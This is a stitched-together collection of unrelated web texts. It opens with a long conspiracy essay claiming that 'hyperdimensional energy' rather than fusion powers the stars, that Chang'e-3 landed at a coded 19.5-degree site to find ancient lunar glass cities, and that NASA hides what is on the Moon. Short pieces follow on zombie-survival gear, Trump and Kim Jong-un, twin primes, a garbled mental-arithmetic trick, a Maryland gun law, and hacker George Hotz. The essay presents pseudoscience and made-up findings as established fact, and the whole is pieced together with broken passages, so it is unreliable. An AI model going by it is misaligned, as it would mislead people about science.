But it wasn't until the early part of the 20th Century, when George Ellery Hale, almost single-handedly, created the entire modern edifice of "astrophysics" -- built on his own unprecedented solar measurements of these cyclically-appearing "dark solar vortices"... their composition... their recurring patterns and rotations... and their intense magnetic influence on the rest of their solar "photosphere" surroundings -- that science would even begin to understand the role of these "mysterious surface vortices" in marking the much deeper, invisible source and flow of the Sun's fundamental, internal energy production--
The same energy, Hale's measurements would eventually reveal... that powers the entire nightime sky....
In the mid-20th Century, after Hiroshima (leading inevitably to the "H-bomb"...), astrophysicists would suddenly proclaim (despite major "dissenters" -- like Russian astrophysicist, Nikolai A. Kozyrev), that--
The crucial, unknown "ultra-long-lived stellar energy source" operating inside all stars was--
Thermonuclear....
Meaning... it was the fusion of light elements together (hydrogen, helium, lithium, etc.) into heavier ones (carbon, nitrogen, magnesium...), deep in the stellar interiors, that ultimately--
"Lights the stars."
Based on our ~30 years of independent astrophysical investigations, we have come to a radically different conclusion--
Kovyrev was right!
"Hyperdimensional energy" (he called it by a different term...) -- NOT "nuclear fusion" -- is the primary energy "that fuels the Universe"....
The breakthrough that allowed us to come to this (highly controversial... even if eminently testable) conclusion:
T he demonstrable "tetrahedral" link -- between the excess, hyperdimensional energy being generated in all the solar system's giant outer planets, and an identical (if much larger) solar energy source -- revealed via this same "tetrahedral" signature geometry, determining the latitude placement of "active solar regions"... including sunspots... with the changing solar cycle.
T hat crucial "hyperdimensional solar connection" was our discovery that -- averaged across literally thousands of world-wide, sunspot and solar cycle observations, gathered by hundreds of astronomers over the past 137 years -- the average solar latitude of recurring, peak "solar maximum" activity (below) was--
19.5 degrees!
BINGO!
V isual confirmation of this amazing solar "hyperdimensional correlation" can easily be seen in NASA's latest solar observations; this TRACE satellite image (below), taken during a recent "solar maximum," optically confirms the extraordinary, geometric match (above) of the dual latitude, energetic solar activity to our "double-tetrahedron, hyperdimensional model" -- encompassing simultaneously both solar hemipsheres....
At ~19.5 degrees!
Needless to say, such a radical "stellar/planetary energy alternative" is going to revolutionize not only how we understand the Universe... but, ultimately, how we power our own Civilization--
Replacing, to begin with, all currently disastrous fossil-fuel consumption -- with ultra-clean... limitless... "hyperdimensional/torsion field energy technology"....
* * *
T o find redundant examples of this unique hyperdimensional energy signature -- a "tetrahedron"... outlined specifically in "tell-tale, energy-emitting stars" -- on an official Chinese website supposedly devoted solely to posting "the technical aspects and progress of the Chang'e-3 lunar Mission"--
Immediately raised profound and telling questions... about the real objective of the entire Chinese mission....
Like--
Was "someone" in the Chinese government (which, of course, controls ALL broadcast and Internet media in China) sending a tetrahedrally-coded message to "someone else "... NOT in China?
That -- in addition to its much publicized conventional lunar research -- the Chang'e-3 Mission was also secretly intending to explore the hyperdimensional energy physics--
Of the Moon?!
Remarkably enough, an extraordinary opportunity for the Chang'e-3 mission to do just that is presented by the April 15, 2014 total lunar eclipse -- which, seen from the Moon -- is, of course--
A total eclipse of the Sun.
By their unique positions -- being on the Moon during the eclipse (which also coincides with the current "Mars Opposition" window) -- both Chang'e-3 robots will have an unparalleled opportunity to redundantly measure the "HD/torsion-field" effects of a dual solar eclipse/planetary alignment... as observed directly from the surface of another world (below)--
To, in turn, compare with our own Enterprise Mission HD/Torsion Field Eclipse Results -- acquired during the May 20, 2011, Annular Solar Eclipse....
Or... even more intriguing... was China clandestinely intending to explore possible, ancient "hyperdimensional technologies"... present on the lunar surface... left in the "ancient lunar ruins" (we have been presenting evidence supporting, now, for decades) -- ruins potentially abondoned by the Type II Civilization that (our decades of research has led us to believe...) built those long-shattered, "ancient lunar crystal cities"... millions of years ago?
Or--
Was this obviously (now) coded, tetrahedral message -- on the official Chang'e-3 website -- telling that same "someone else," that China was intending to do both...?
And then--
Planning to make this stunning lunar ET/hyperdimensional technology public?
If so, it would be THE "game changer" of all history....
Unless... there was an alternative scenario--
Some, equally-secret, terrestrial geopolitical demand (that China was making to that "someone else," behind-the-scenes...) was the actual objective.
To be blunt:
Was China actually trying to "blackmail" the West... into "doing something" here on Earth that the West doesn't want to do... with a "threat" of exposing on the Moon "what the West has done everything to keep suppressed... for over 50 years?"
Can you say (in Mandarin...) "high-stakes poker?"
* * *
One of the other, early clues -- that "something unusual was going on" around this historic China lunar mission -- lay in one of the most mundane details:
Just where on the Moon Chang'e-3 planned to actually land.
D espite exhaustive pre-launch publication of a wide variety of technical details (as measured against previous Chinese space missions...) regarding the impending Chang'e-3 unmanned lunar landing -- from detailed engineering design of the two spacecraft themselves, and their respective complement of seven separate scientific instruments; discussion of planned geological site characterizations, descriptions of planned lunar surface operations -- including, first time lunar surface astronomical research -- as well as intended surface elemental composition analysis; even, a detailed survey of the overall Chang'e-3 Mission Profile, from launch to landing -- the one area where the Chinese mission controllers were inexplicably "vague"... in fact, not forthcoming at all... was in the simple selection of the Chang'e-3 lunar landing site....
Other than naming Sinus Iridum -- the "Bay of Rainbows" -- as the generally intended target (an area encompassing over 40,000 square miles...), the actual intended landing location within Sinus Iridum was, for some reason, never specifically detailed.
And, as you can see from the high-resolution (~1.5 meters/per/pixel) mapping of potential landing sites in Sinus Iridum by the previous Chinese lunar reconnaissance mission -- Chang'e-2 (below) -- "Sinus Iridum," as the announced "destination," was a VERY large target area indeed....
For some reason, despite all the media hoopla and national excitement around their first unmanned lunar landing... before Chang'e-3 actually set down, the Chinese were obviously NOT willing to inform the world of its MOST elementary... if not geologically important fact:
Their specifically intended exploration site.
The reason for this peculiar (and, highly unscientific) "political" Chang'e-3 decision would soon become blatantly obvious... but only after Chang'e-3 successfully touched down -- a full orbit "early" (compared to official Chinese pre-landing announcements, made just days before)... and hundreds of miles east of "Sinus Iridum"--
In northern Mare Imbrium ("the Sea of Rains").
At--
~19.5 West... ~44 North!
The actual Chang'e-3 touchdown longitude, corresponding (within 0.01 degrees)... eerily... impossibly... to the crucial "hyperdimensional, inscribed tetrahedral angle" -- echoed by the posting of two tetrahedrons on the official Chang'e-3 website... months before!
Obviously -- from this statistically "impossible" (but factually, now unquestionable) Chinese tetrahedral redundancy -- the entire Chang'e-3 mission had to have been designed specifically around some aspect of this uniquely specific "tetrahedral code"--
Carefully kept secret -- until "the last possible minute..." -- as Chang'e-3's repetitive, ~2-hour polar orbit of the Moon... initially established December 6, finally, on December 14th... took it directly over the "secret" Mare Imbrium future touchdown location (below)--
At -- 19.5 West.
So--
What was located there -- at "19.5 West, 44 North" -- that Chang'e-3 (from all the accumulating evidence) was intending... all along... to FIND?
And... how?
* * *
A few hours after landing, when the first Chinese post-landing image from the Cheng'e-3 Lander is telemetered back from the surface of the Moon, the "curious" method the Chinese government chooses to release this "historic image," further reinforces our now well-developed Enterprise suspicion that "the Chinese are definitely... but artfully"... trying to hide something--
At ~19.5 degrees.
By pretending to "operate a 'normal' geological mission to the Moon"... w hile actually, carrying out a clandestine "parallel reconnaissance mission" of something else... located at those specific, incredibly significant "tetrahedral" lunar coordinates--
Just like NASA's on-going, clandestine Curiosity Rover Mission -- to Gale Crater, on Mars.
Case in point:
Instead of the standard, 21st Century international "norm" for spacecraft image distribution -- space agency-processed digital images (and video) made freely available on official space agency websites, to be digitally downloaded by local and global media outlets (and "ordinary folks" around the world...) -- the first Chang'e-3 lunar surface scene is projected by a television system in the Beijing Control Center, on a large electronic viewing screen up front (below); only select Chinese media are then allowed to video (and, only video) that screen... and then, only with commercial grade television cameras--
For subsequent "screen grabs" and video releases to rest of the Chinese media.
This was how the world was introduced to China's first historic Chang'e-3 images... acquired on the surface of the Moon....
Some way to treat "history"... eh?
The resulting "copies... of a copy... of a copy" shown on Chinese television, and subsequently copied on all the official Chinese websites, was just about what you'd expect from such a deliberately clumsy "Rube Goldberg" process--
A deliberately degraded -- if "historic" -- first Chinese Chang'e-3 image (below)!
Acquired by one of three wide-angle engineering ("monitor") cameras on the Lander immediately after touchdown, despite the less-than-optimum "screen grab" Chinese media presentation, among the remarkable details visible in this first image were a collection of attention-grabbing, "anomalously reflective" rocks -- lying around the rim of a heavily-eroded, ancient impact crater located just a few feet north of the Chang'e-3 touchdown point; attention-getting for a) their strikingly angular "geometry," and b) their remarkable blue tint... contrasting sharply with the equally anomalous "reddish brown" of the surrounding lunar surface.
These obvious brightness anomalies and equally anomalous colors on the first Chang'e-3 images, raised immediate questions in the minds of many observers, regarding "how accurate" a representation of the Mare Imbrium lunar surface this truly was -- when compared to the essentially colorless lunar surface seen on all the Apollo film photography, of decades earlier (below)....
But to Enterprise, what was most remarkable -- given that similar-looking Chang'e-3 images were soon coming from more than one camera on the Lander, thus, pretty much ruling out "gross miscalibration" between cameras -- was the striking "angular, 'geometric' nature" of those peculiar bluish rocks (below).
To any "selenologist," this remarkable angularity immediately implied "recent" geological origins....
The paradox being--
The crater these objects had obviously been ejected from (because they were lying on its rim...) -- as judged by its overall, heavily-degraded appearance -- seemed, by comparison, much OLDER than the rocks themselves.
So, how could such young "ejecta" (as such impact-excavated, underlying fragments are called) -- exposed by the same explosive impact event that had created the crater itself -- be so much younger (far less eroded...) than the morphology of the crater that created them?!
The only answer to this paradox that made any scientific sense, was that this particular crater (about 60 feet across...) had formed in very "unconsolidated" upper surface materials (the topmost lunar "soil"... or "regolith," on which Chang'e-3 had landed). Such loose, previously pulvarized material was easily degraded (by on-going, relentless micrometeorite impacts on the airless Moon), in a much briefer period of time, than craters formed in high-strength "bedrock" -- thus, in a relatively few million years, such surface craters could, indeed, APPEAR much "older."
Because the impact north of Chang'e-3 had excavated only part way into this finely-graded, upper lunar surface layer (the loose "regolith"...), that layer apparently also contained -- like rasins scattered in a rasin bread -- many larger, highly "angular" objects deep within it; it was these previously buried (thus, protected from micrometeorite erosion) "chunks"... which were subsequently more easily thrown about on the lunar surface by low-energy meteor impacts INTO that loosely-structured surface regolith....
So, if the "peculiar, bluish objects" lying on the rim of this eroded impact crater were NOT "large, ancient, shattered pieces of the bedrock underlying Mare Imbrium" -- ejected by high-energy impacts penetrating deep beneath this "fluffy" surface layering -- where had these "anomalous blue fragments" actually come from?
And--
What was their real nature... and their origin?
When examined closely, these increasingly remarkable objects' startlingly straight-edged geometry -- coupled with their equally remarkable blue "translucence" (below) -- suggested an amazing alternative to the typical "excavated bedrock" hypothesis for such crater rim debris--
That these bluish geometric objects were, in fact, remnants of some kind of manufactured glass (below) -- fallen from the "ancient lunar dome" that once stretched over this part of Mare Imbrium... until... "recently" excavated from their ancient grave....
Again -- in the face of such provocative scientific information, revealed in their very FIRST transmitted view from the surface of the Moon... why would the Chinese want the WORST possible version of this remarkable "first image" (a "screen grab!"...) to be the officially record of that historic feat!?
Unless --
The Chinese government's prime political consideration was NOT in presenting "the best possible face" on their amazing, "first time out of the box" technical accomplishment... but (apparently) to totally devalue anything "anomalous" SEEN on that first telemetered image... scientifically....
So, if it was ever called as "evidence" -- of something truly "extraordinary" present on the Moon--
The details simply wouldn't/couldn't be believed....
* * *
After this first "for the record-books" Chinese surface view, the next order of business -- beginning several hours after landing (after remaining on-board fuels had been safely vented from the Lander) -- was "unloading" the Chang'e-3 Rover, "Jade Rabbit"; this operation involved an elaborate, gradual mechanical process of cleverly lowering the ~300-lb Rover about six feet vertically to the lunar surface, on rails (from its stowed, touchdown position atop of the Lander - below) -- culminating in "riding it down" those deployment rails horizontally... until its six wheels were finally, firmly on the ground.
Again, instead of crisp, properly calibrated digital video of this historic process... the Chinese mission controllers projected more "grabbed stills" from the Chang'e-3 monitor cameras on their "giant Beijing screen" (below)--
F rom which Chinese (and eventually, the global) media assembled a series of Gifs into their own "animated video" of this crucial (and engineeringly unique) "rover deployment operation"....
The next release image taken by Chang'e-3 was acquired by a totally different spacecraft system -- the "landform camera" on the Lander. This was the imaging system which was designed to capture "calibrated" scientific panoramas of Mare Imbrium from Chang'e-3; its resolution and color stability was supposed to be far superior to the Lander "monitor cameras," returning those initial engineering images....
But again, this (theoretical) major improvement in camera quality was totally wasted... via the deliberately "peculiar method" Chinese mission controllers had chosen for releasing this entire sequence of "first lunar surface images" to the waiting press--
As another "light scattered... over-saturated... image projection" -- on the Beijing Mission Control big screen (below).
Here (below) is a side-by-side presentation of images from the two types of Chang'e-3 cameras -- the first "monitor" camera image (below - left), and the first "landform" camera image (below - right); the yellow outline represents the 18-degree-wide field-of-view of the "'zoomed-in' landform camera, compared to the wider-angle monitor camera view.
Looking at these, again, apparently deliberately degraded Chinese lunar images, I couldn't help but compare this cumbersome (if not fundamentally disingenuous) "Chinese image release system" in 2014, with the almost "stone knives and bearskins" analog imaging technology NASA had to overcome during that historic night in 1966, to bring Americans (and the world...) their first LIVE Surveyor I television pictures from the surface of the Moon--
With me as a surprising, first-hand witness....
Even in those crude "analog days," JPL did NOT have NBC simply "point a camera" at the JPL television monitors displaying the lunar imaging data coming in (a BBC audio recording of the reception of that historic first Surveyor I lunar image, as it was transmitted from the Moon early that morning and narrated by "the Voice of Surveyor, Dr. Albert Hibbs," is available here -- again, courtesy of Peter Burton); i nstead, NASA had all the TV networks at the time (all three of them...) "hardwired" directly into the JPL electronic "RAMTEK" data display system -- which was simultaneously receiving (and converting -- for closed circuit and broadcast television) those amazing first-time US images from the Surveyor spacecraft--
V ia the real-time telemetry link coming into the Goldstone Deep Space Network (DSN) antenna... from the Surveyor spacecraft's 10-watt S-band transmitter on the surface of Procellarum, "a quarter-million miles away"....
Of course, we were all so naive back then, in 1966... to expect -- and then, to actually receive... for awhile, anyway -- uncensored NASA lunar images (below)!
But then--
Three years later -- when Apollo 11 landed two Americans for the first time on that same Moon, in a manned lunar spacecraft called the "Lunar Module" (only three years...) -- NASA responded very differently to the possibility that "Americans might see... LIVE... what was really on the Moon"; the Space Agency carefully provided only a single black & white, ~320-line TV camera on that Lunar Module (the analog standard for commercial television at the time being "525 horizontal scan lines" -- so, already, image resolution was seriously being degraded...); then, the Agency arranged to have only a single (NASA-controlled) "pool feed camera" pointed at a TV screen showing the scenes from that single lunar TV camera -- at the Australian tracking station receiving this Lunar Module transmission that July night -- mechanically converting this "low-resolution, noise-filled, non-standard Apollo lunar surface transmission" into a standard TV signal... which could then be re-broadcast to the rest of the world (via the world-wide television networks "taking that single NASA' lunar feed" - below).
A single "picture... of a picture... of a picture."
Just like the 21st Century Chinese....
Decades after Apollo, in 2009, when digital video enhancement -- that would have electronically allowed "significant restoration" of what Apollo 11's sole black and white TV camera on the lunar surface actually saw (and transmitted to Earth that historic July night) -- was about to be brought to bear upon this original 40-year-old Apollo video data, it was belatedly "discovered" that NASA, sometime in those intervening four decades, had tragically... conveniently... "lost the original Apollo 11 video tapes of those historic, one-of-a-kind July 20th transmissions of Neil and Buzz cavorting on the Moon!"
The Chinese, even decades after Apollo, had apparently been paying very close attention to how "an official space agency could appear to broadcast what was on the lunar surface"... while, at the same time, cleverly concealing (through "plausible image degradation") what its lunar surface cameras were actually seeing.
Only slightly more incongruous than this blatantly "unscientific," NASA-like behavior of the Chinese government -- toward its own "first historic data from the surface of the Moon" (!) -- was the obsequious reaction to this pretty obvious effort to deliberately obscure Chang'e-3 mission details, by many "western science groupies"; public comments, on several well-known "western space websites" trying to follow the details of the Chinese lunar mission, instead of being outraged at the lack of even "the simplest adherence to the historic standards for 'first lunar surface imaging releases' set by NASA with Surveyor I (even while operating under stunningly 'primitive' technological constraints, by comparison)," merely expressed mild "disappointment"--
That, these first historic images... because of "bad PR advice to the Chinese"... were being "shot off a screen in Beijing."
One "administrator" even when as far as warning--
"<ADMIN MODE> "From comments in a few recent posts, I just want to remind people to avoid making statements which may imply any political (and I mean that in its broadest sense) commentary about the merits or otherwise of the openness or otherwise of any particular nation's space program, government or media. "As with ANY mission, what data/images are released are a bonus to the public (that includes UMSF'ers) not a right. </ADMIN MODE> "Just enjoy the ride"[ emphasis added]. :)
And THAT prevailing "space enthusiast" attiitude is a major reason why NASA (and the other, equally less-than-forthcoming national space agencies) have been able to get away with effectivelhy HIDING what is really out there in the solar system....
Including -- "what's really on the Moon"--
For over half a century!
* * *
Meanwhile, back inside the Beijing Control Center....
Immediately following the successful deployment of Jade Rabbit, the Chinese plan was for each (now) independent "mooncraft" to take a series of mutual images -- Lander imaging Rover... Rover imaging Lander -- as Jade Rabbit made a slow half-circle of the Lander (from north to south, in the inverted graphic - below) -- stopping every 60 ("tetrahedral"...) degrees for their respective imaging opportunities, moving from "A"... to "B"... to "C," etc.
Here again, projected on the "big screen" in the Control Center (below), was the first landform camera image of Jade Rabbit -- after its short ride down the deployment rails, to its first "turn in place" photo position on the lunar surface ("A")... a short drive (a few feet) north of the Lander.
And here (below) is the Chinese "grab from the screen" of that historic Yutu image -- representing (again) the "official Chinese release" of the first picture of Jade Rabbit "on its own."
S imultaneously, the Control Center plan called for the shadowed side of the Chang'e-3 Lander (below - left) to also be imaged for the first time... by Jade Rabbit's own twin "panoramic cameras"--
--until the Rabbit reached position "D" (below) -- where it would be able to image Chang'e-3's prominently-displayed "Chinese national insignia" on the sunlit (south) side of the Lander....
It was obvious, from the careful Chinese pre-planning of these early Yutu activities (and their apparent determination to follow "at all costs" this previously scheduled set of post-deployment Rover photo operations), that the |
real. A full list of all the crapola:
Weapon Accessories
GG&G Extreme Heavy Duty Swivel Bipod GGG-1245
Eotech Gear Scopecoat Cover for EoTech Zombie Stopper Red Dot Sight
OPMOD PVS-14 Monocular Gen 3 PINNACLE Night Vision Scope 64 lp/mm GNVPVS14-OPMOD
Thermal Eye X50 100x800px Waterproof Thermal Imaging Camera, NTSC - 1000380-0001
Surefire 6V LED Shotgun Forend Weaponlight for Benelli M1-M2 617LM
Leupold VX-R ZOMBIE 1.25-4x20mm 30mm Riflescope ZombieDot Green SPR
Plano Moulding Zombie Ammo Can
Champion Zombie Target 6-Pack, Attack
Streamlight TLR-1 HP Long Range Rail Mounted Flashlight, Standard Switch w/ Rail Locating Keys for Glock Style,1913 Picatinny, S&W 99/TSW & Beretta 90two & Lithium Batteries, Box 69217
Safariland 6305 ALS Tactical Holster w/ Quick Release Leg Harness - STX TAC Black, Right Hand, Hood Guard Sentry Protection 6305-7742-131-SH
New, Steiner 10x50 Military Binoculars Laser Rangefinder
Leupold Mark 4 20-60x80mm, Black Spotting Scope, TMR Reticle 110826
Laser Devices DBAL-I2 Dual Beam Laser, Visible Green Laser
Mako Group Fab Defense Handguard w/Rails For Remington Model 870 PR870
Trijicon ACOG 6x48 Dual Ill Riflescope w/Mount, Green Chevron.308 Reticle
Vero Vellini Premium Padded Leather Rifle Sling, Brown V17228
Crimson Trace Full size Glock Laser Zombie Edition
Eotech Zombie Stopper Red Dot Holographic Sight
Knives
Browning Zombie Apocalypse Knife 322870
SOG Tigershark Elite Tactical Knife, Black TiNi Blade TE02-N Cases and Backpacks Eberlestock G4 Operator Pack, Multicam G4MM
OPMOD Professional Range Bag, Pull Out & Brass - Black OPMOD-CVERB2930B
OPMOD Floating MSR Extreme Gun Case - 43in OPMOD-FMSREX43
Camelbak BFM Hydration Pack - 100 oz/3.0L MultiCam 61763 Reloading and Gunsmithing Equipment Otis Technology Zombie Gun Cleaning System FG-753-Z
RCBS Pro-Melt Furnace, 240 V-ac Europe - 81200
RCBS Pro 2000 Progressive Press - 88875
Lyman 1200 DPS 3 Digital Powder System, 115 Volts 7752400 Tools Pelican 0450 Mobile Tool Chest with Drawers
SUREFIRE SF123A BULK BOX, 400 EA. 3 VOLT LITHIUM BATTERIES
Brunton Solaris USB Foldable Solar Panel, 3100 mA Output F-SOLARIS62
Leatherman MUT Black Multi Tool w/ Black Molle Sheath 850122
Night Armor Tactical Pen w/FREE 1AA CREE Flashlight NA800CBO
OPMOD Battle Mug - WITH carry handle BM002
Brunton International Pocket Transit Pro Compass, 0-360 degrees 5006LM
5.11 Tactical Field Ops Waterproof Uni-Directional Bezel Watch, Black 59245-019
Streamlight E-Spot FireBox LED Lantern, Light Only w/ No Charger, Orange 45882 Protective Gear Tactical Assault Gear Rampage Releasable Armor Carrier, Small/Medium, Ranger Green 812451
Tactical Assault Gear Intrepid Chest Rig w/Grenade & Mag Pouches - Multicam 812496
Oakley Commit SQ Sunglasses, Brown Sugar Frame, VR28 Black Irid Lens 03-786
Stanley Large First Aid Kit RST-60001
Blackhawk S.O.L.A.G. HD with Kevlar, Color - Black, Size - Medium, 8151MDBK
ESS Profile TurboFan Military/Tactical Goggles - Black Frame, Clear & Smoke Gray Lenses
Specter Gear M-2 Mk-3 Rapid Reload Chest Carrier for AK-47 Magazines - MultiCam 595 MULT Laboratory Equipment Qorpak Bottle Beakers, Medium Rounds, Wide Mouth, Qorpak 7550 With Pulp/Vinyl-Lined Black Phenolic Cap
Labnet Labpette R Repeating Pipette P3000
Samco Disposable Transfer Pipets, Fine Tip, Samco Scientific 234 Fine Tip, Large Bulb, Case
UNICO Shake-It Pipette Shaker, for 6 pipettes, 15 min. timer, 110 V L-P600T
Celestron Professional Compound Microscope, 1500x, Halogen Lamp - 44108
Well, what do you think? "Pfft -- leave finding a cure to the nerds, all I need is an assault rifle, two shotguns and a 10-year supply of beef jerky." Yeah, about that -- throw in some Hi-C pouches and you've got yourself a travel-mate!
Thanks to Brian P, who asked me to buy him one if I ended up posting this. Brian, I don't know who the hell you thought you were writing but SPOILER: a guy whose water just got cut off.Image copyright Getty Images Image caption North Korean leader Kim Jong-un has also been called a "smart cookie" by US President Donald Trump
US President Donald Trump has said he would be "honoured" to meet North Korean leader Kim Jong-un, in the right circumstances.
"If it would be appropriate for me to meet with him, I would - absolutely. I would be honoured to do it," he told news organisation Bloomberg on Monday.
The previous day he described Mr Kim as a "pretty smart cookie".
The comments come amid escalating tensions over North Korea's nuclear programme.
The White House issued a statement following Mr Trump's remarks, saying North Korea would need to meet many conditions before any meeting between the two leaders could take place.
Spokesman Sean Spicer said Washington wanted to see the North end its provocative behaviour immediately.
"Clearly conditions are not there right now," he added.
Media playback is unsupported on your device Media caption In the CBS interview, Mr Trump talked about the current tension between the US and North Korea
In Sunday's interview with CBS, President Trump noted Mr Kim had assumed power at a young age, despite dealing with "some very tough people".
He said he had "no idea" whether Mr Kim was sane.
The North Korean leader had his uncle executed two years after he came to power, and is suspected of ordering the recent killing of his half-brother.
President Trump, asked what he made of the North Korean leader, told CBS: "People are saying: 'Is he sane?' I have no idea... but he was a young man of 26 or 27... when his father died. He's dealing with obviously very tough people, in particular the generals and others.
"And at a very young age, he was able to assume power. A lot of people, I'm sure, tried to take that power away, whether it was his uncle or anybody else. And he was able to do it. So obviously, he's a pretty smart cookie."
On Saturday North Korea conducted its second failed ballistic missile test in two weeks.
Tensions in the region have increased lately, with both North and South Korea conducting military exercises.
The US sent warships to the region and began installing a controversial anti-missile system in South Korea last week.
You may also be interested in:
On Sunday, an article from Pyongyang's state-run news agency KCNA urged the US to "ponder over the catastrophic consequences to be entailed by their foolish military provocation".
North Korea has carried out repeated missile tests in recent months and is threatening to conduct its sixth nuclear test.
President Trump told CBS the US was "not going to be very happy" if further tests were carried out. When asked whether this would mean military action he said: "I don't know. I mean, we'll see."A few days ago I posted a video about the twin prime conjecture, which states that there are infinitely many primes that are two integers apart: 3 and 5, 5 and 7, 11 and 13, 101 and 103, 1607 and 1609…
Well, check this out. Type 8675309 into WolframAlpha and it says: “Jenny’s phone number.” (Har, har, har, we all know that song.)
At the top of the page it says: Assuming “8675309” is a phrase | Use as a number instead.
Click on that link and you’ll see the following interesting facts about 8675309.
8675309 is a prime. 8675309 is a twin prime (8675311 is also prime). 8675309 is the hypotenuse of a (primitive) Pythagorean triple: 86753092 = 24602602+83191412.
That’s so cool! Who knew?!?!
As Tim Quinn points out, the Nova ScienceNOW song is the second song about twin primes. The first was by Tommy Tutone.
[Update: read this follow-up post.]New mental arithmetic techniques/tricks
AMARNATH MURTHY CHIEF ENGINEER (ELEX & TELCOM) ONGC, AHMEDABAD, INDIA
Fifth root of a 10 di git numbers which are perfect fifth powers.
First we have to list and mem orise the fifth power of num bers from 1 to 9. 1, 32, 243, 1024, 3125, 7776, 16807, 32768, 59049 The b eauty i s the unit d igit is the sam e. A^5 Ξ A m od 10. ( A =1 t o 9) Consider an up to 10 digit numb er as a fifth power of a tw o digit numbe r. If the number has n digits n <= 10, consider the number formed by the n-5 MSDs ( most significant digits). Let it be N Find numbers r and r +1 such that r^5 < N < (r +1)^5. Let the unit digit of the given number be ‘
a
’. Then digit ‘
r
‘ followed by digit ‘
a’
is the required fifth root. Example : find the fif th root of 656356768. The unit digit of the fifth root is 8. Leaving first five digits we have 6563. 5^5 = 3125 < 6563 < 7776 = 6^5 hence the tens digit is 5 The answer is 58. In fact one need not know the digit 2
nd
to 5
th0 0 0 0 0
The former Commander of the Maryland State Police Licensing Division, Captain Jack McCauley, signed a sworn affidavit on April 24, 2014, which acknowledges what most of what the law abiding 2nd Amendment Community had known and argued all along.
Captain McCauley, stated under the penalty of perjury, that while he was at a meeting with State Delegates where he was assigned to answer their questions about the Maryland Firearms Safety Act, (SB-281) that he was asked if the proposed ban on the sale of certain firearms and detachable magazines would have any affect on crime in Maryland.
As the Commander was about to answer the question he was directed by one of the Governor’s attorneys, Ms. Shanetta Paskel, to not answer the question.
I serve on the Judiciary Committee, the Administrative Executive Legislative Review Committee (AELR) and was asked to join the Assault Weapons Ban task force or “sub-committee”. While I am not sure it is the same incident that Captain McCauley was testifying about I can’t imagine there were two incidents so close in fact as that described by the Commander.
I was on one occasion in a conference room with Captain McCauley, Sahanetta Paskel, Esq., and about 8 or 10 other Democrat Delegates or Committee Staff, State Police or Administration officials.
Captain McCauley had been assigned to answer questions that the legislators may have about firearms in general and specifically about the Maryland Firearms Safety Act. After a very heated discussion about the Act, I directed some questions to the Captain who was seated to my left about the purpose and effect of the Maryland Firearms Safety Act. Before Captain McCauley could answer he was in interrupted by one of the Governor’s Attorney’s, Ms Shanetta Paskel, who instructed the Captain not to answer my question.
I immediately jumped up from my seat and objected to her interfering with my questioning of the Captain who was there for the very purpose of answering our questions so we could proceed out of an informed position and not out of ignorance. I told the Attorney she had no authority to interfere with the Commander’s 1st Amendment rights when I am trying to protect our 2nd Amendment rights.
I again directed my questions to the Captain, who had those I believed to be other officers to either side of him. Again, the Attorney butted in to direct the officer to not answer my questions. I began to yell at this point that this was bull, I complained that the executive branch was interfering with the legislative branch’s ability to set public policy. I promised Ms. Paskel that I would tell what she had done. I was very hot and very loud at that point because it was clear that the advocates had just went from ignorance to evil being the driving force behind an unconstitutional law which amounted to an illegal infringement on a Constitutional Right for the purposes of political gain. At that point everyone was very uncomfortable and the meeting broke up.
Just a few days ago, Captain McCauley gave sworn testimony that had he been allowed to answer my questions he would have stated that The Maryland Firearms Safety Act would have had no effect on crime in Maryland!
The banned firearms are almost never used in crimes. At most, they are used in 5% of firearms-related crimes in Maryland.
The banned firearms are also not used disproportionately in attacks on law enforcement officers. In fact, the majority of officers who are assaulted with firearms are attacked with handguns
The Act would not have an impact on Mass shootings. The Task Force to Study Those With Mental Illness and their access to Firearms (of which Captain McCauley was the Co-Chair)
concluded the most important factor to preventing mass shootings was ensuring proper mental health care to the public, treatment of mental illnesses, and training law enforcement officers.
That the banned magazines are common throughout Maryland and nearly all new semiautomatic handguns are sold with magazines with a capacity greater than ten, including the firearms used by the Maryland State Police and most law enforcement agencies in Maryland.
That persons wanting magazines with greater than a capacity of 10 rounds will get them by going out of State to make a purchase, rendering the Act’s magazine ban ineffective, except to restrict the rightful choices of firearms and magazines by law-abiding citizens.
Something that I nor anyone one else in the room was privy to happened immediately after the meeting broke up, when the Governor’s attorney, Ms. Paskel told the Captain why she had ordered him to not answer questions. The Captain states that she explained that he was ordered not to reply because “it’s not about policy, it’s about votes.”
In explaining what he believed the Governor’s attorney meant by that, Captain McCauley stated under oath that he interpreted her statement to mean the Gov. was pushing the Act solely to garner political favor, and either believed the Act would have not affect on crime generally or mass shootings, or did not care.
Captain McCauley went on to explain that this attitude is consistent with the Governor’s attitude towards firearms in general since when Captain McCauley was with the Gang Enforcement Unit and Firearms Enforcement Section he was involved with the seizure of a number of firearms that had nothing to do with crime, very few of which were banned by the Act, because an emphasis was placed on the seizure of firearms, because the Office of the Governor wanted to focus solely upon the number of firearms seized, and not decreasing crime.
What is most disappointing is not only that the Executive Branch of Government saw fit to use the State Police as a political tool to achieve a political end which not only does not make the public safer but actually puts them more at threat to harm from criminals, but the press will ignore this gross violation of the Constitutional rights of the citizens of Maryland. You will not see any headlines proclaiming that the Governor knew the lies he spewed to pass his gun control legislation were going to do nothing to curtail crime.
Few will actually hear of the bravery of Captain McCauley in coming forward to tell the truth as he experienced it. I want to thank “2A in MD” and or any others who obtained and made available the copies of the affidavit.
Every citizen in Maryland owes Captain McCauley a debt of gratitude for telling what all those active in protecting our Constitutional rights have argued and have known to be true but we could never prove.
Now we have to hope that the Courts will show the same kind of courage that Captain McCauley and other Patriots have shown in getting the real story out.
It is easy to defend the Constitution when it is not under attack! Too few are willing to stand up for their Constitutional rights when it is inconvenient to do so.
Share this story with your friends, family and other Patriots across the State so that as many people as possible can know what really was behind the “Maryland Firearms Safety Act”.
https://www.facebook.com/2AinMD/photos/pcb.639351622810416/639351452810433/?type=1&theaterGeorge Francis Hotz (born October 2, 1989), alias geohot, is an American hacker and creative consumer known for unlocking the iPhone, allowing the phone to be used with other wireless carriers, contrary to AT&T's and Apple's intentions.[1][2] He developed the limera1n jailbreak tool and bootrom exploit for iOS. He is also noted for his technical efforts and publicity with reverse engineering the PlayStation 3 video game console, and for subsequently being sued by and settling with Sony. As of September 2015, he is working on his vehicle automation machine learning company comma.ai.[3]
Personal life [ edit ]
He attended the Bergen County Academies, a magnet public high school in Hackensack, New Jersey. He attended Academy for Engineering and Design Technology.[4] Hotz is an alumnus of the Johns Hopkins Center for Talented Youth program.[5] Hotz also briefly attended Rochester Institute of Technology[6] and Carnegie Mellon University.
iOS device security [ edit ]
